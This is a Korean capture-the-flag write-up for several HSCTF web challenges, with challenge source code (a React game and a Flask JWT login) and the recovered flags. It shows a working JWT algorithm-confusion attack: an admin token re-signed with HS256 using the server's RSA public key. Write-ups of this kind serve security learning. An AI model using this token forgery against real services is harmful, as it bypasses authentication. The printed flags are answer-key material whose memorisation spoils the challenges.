주석에 플래그가 적혀있다;
flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t}
import React, { useState, useEffect } from 'react';
import Header from "./Header";
import Main from './Main';
import Message from './Message';
import Button from "./Button";
import "./App.css";
function App() {
const [message, setMessage] = useState("Ready to Play?");
const [runningTotal, setRunningTotal] = useState(0);
const [buttonText, setButtonText] = useState("Start Game");
useEffect(() => {
if (runningTotal < -1000) {
setMessage("You lost. You have less than $-1000. Better luck next time.");
setButtonText("Play Again");
} else if (runningTotal > 2000) {
setMessage("You won. You have more than $2000. Try your luck again?");
setButtonText("Play Again");
} else if (runningTotal !== 0 && buttonText !== "Next Round") {
setButtonText("Next Round");
}
});
const onClick = () => {
const isGetCost = Math.random() > 0.4 ? true : false;
const func = isGetCost ? 'getCost' : 'getPay';
const requestOptions = {
method: 'POST',
body: 'function=' + func,
headers: { 'Content-type': 'application/x-www-form-urlencoded' }
}
fetch("https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001", requestOptions)
.then(res => res.json())
.then(data => {
data = data.response;
if (buttonText === "Play Again" || buttonText === "Start Game") {
setButtonText("Next Round");
setRunningTotal(0);
}
setMessage("You have " + (isGetCost ? "paid me " : "received ") + "$" + data + ".");
setRunningTotal(runningTotal => isGetCost ? runningTotal - data : runningTotal + data);
});
}
return <div className="App">
<Header />
<Message message={message}/>
<Main content={runningTotal}/>
<Button onClick={onClick} text={buttonText}/>
</div>;
}
export default App;
I made a login page, is it really secure?
로그인 페이지와 키 파일을 확인할 수 있다.
소스를 확인한다.
main.py
import jwt import base64 import os import hashlib from flask import Flask, render_template, make_response, request, redirect app = Flask(__name__) FLAG = os.getenv("FLAG") PASSWORD = os.getenv("PASSWORD") with open("privatekey.pem", "r") as f: PRIVATE_KEY = f.read() with open("publickey.pem", "r") as f: PUBLIC_KEY = f.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.method == "POST": resp = make_response(redirect("/")) if request.form["action"] == "Login": if request.form["username"] == "admin" and request.form["password"] == PASSWORD: auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256") else: auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256") resp.set_cookie("auth", auth) else: resp.delete_cookie("auth") return resp else: auth = request.cookies.get("auth") if auth is None: logged_in = False admin = False else: logged_in = True admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin" resp = make_response( render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG) ) return resp @app.route("/publickey.pem") def public_key(): with open("./publickey.pem", "r") as f: resp = make_response(f.read()) resp.mimetype = 'text/plain' return resp if __name__ == "__main__": app.run()
flask로 백엔드를 구현했다.
로그인 정보를 확인해 auth
에 그에 따른 인증 jwt 토큰을 설정한다.
get으로 페이지에 접속할 경우 jwt토큰으로 플래그 출력여부를 결정한다.
jwt에서 RSA 알고리즘을 HS256으로 변환시키면 공개키로 인증을 받을 수 있다.
public = 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtnREuAwK7M/jWZdSVNfN4m+kX0rqakI6KIR/qzT/Fv7hfC5vg9UJgEaAGOfexmoDMBYTLRSHnQ9EYjF6bkChw+NVQCqsvy9psZVnjUHQ6QfVUdyrUcsOuRoMMaEBYp+qCegDY5Vp65Wzk05qXfvKLJK9apOo0pPgD7fdOhpqwzejxgWxUgYvMqkGQS2aCC51ePvC6edkStNxovoDFvXkuG69/7jEqs2k2pk5mI66MR+2U46ub8hPUk7WA6zTGHhIMuxny+7ivxYIXCqEbZGVYhOuubXfAPrVN2UpL4YBvtfmHZMmjp2j39PEqxXU70kTk96xq3WhnYm46HhciyIzzQIDAQAB'
print jwt.encode({"auth":"admin"}, key=public, algorithm='HS256')
결과를 auth
쿠키로 설정하면 플래그를 확인할 수 있다.
Bet you can't log in.
로그인 페이지가 나온다.
소스를 보면 로그인 인증에 관련된 스크립트가 나온다.
해당 정보로 로그인하면 플래그를 확인할 수 있다.
flag{cl13nt_51de_5uck5_135313531}